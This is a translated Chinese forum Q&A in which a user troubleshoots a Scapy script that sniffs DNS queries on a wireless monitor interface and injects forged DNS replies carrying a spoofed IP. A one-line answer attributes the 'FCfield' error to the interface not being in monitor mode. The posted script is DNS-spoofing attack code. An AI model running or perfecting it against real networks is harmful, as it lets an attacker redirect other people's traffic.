Question

我试图使用scapy在mon0接口上嗅探DNS请求数据包。我想发回一个欺骗性的IP。但是我收到了一个错误：

属性错误：＆＃39;以太网＆＃39;对象没有属性＆＃39; FCfield＆＃39;

代码：

def send_response(x):
x.show()
req_domain = x[DNS].qd.qname
logger.info('Found request for ' + req_domain)
# First, we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
response = x.copy()
response.FCfield = '2L'

response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = '1L'
response[DNS].ra = '1L'
response[DNS].ancount = 1


response[DNS].an = DNSRR(
    rrname = req_domain,
    type = 'A',
    rclass = 'IN',
    ttl = 900,
    rdata = spoofed_ip
    )
#inject the response
sendp(response)
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n')

def main():
    logger.info('Starting to intercept [CTRL+C to stop]')
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

Answer 1

您的界面可能未在监控模式下配置，这就是您获得以太网（Ether）图层而不是WiFi（Dot11）图层的原因。

使用Scapy嗅探数据包时FCfield Attribut错误

1 个答案: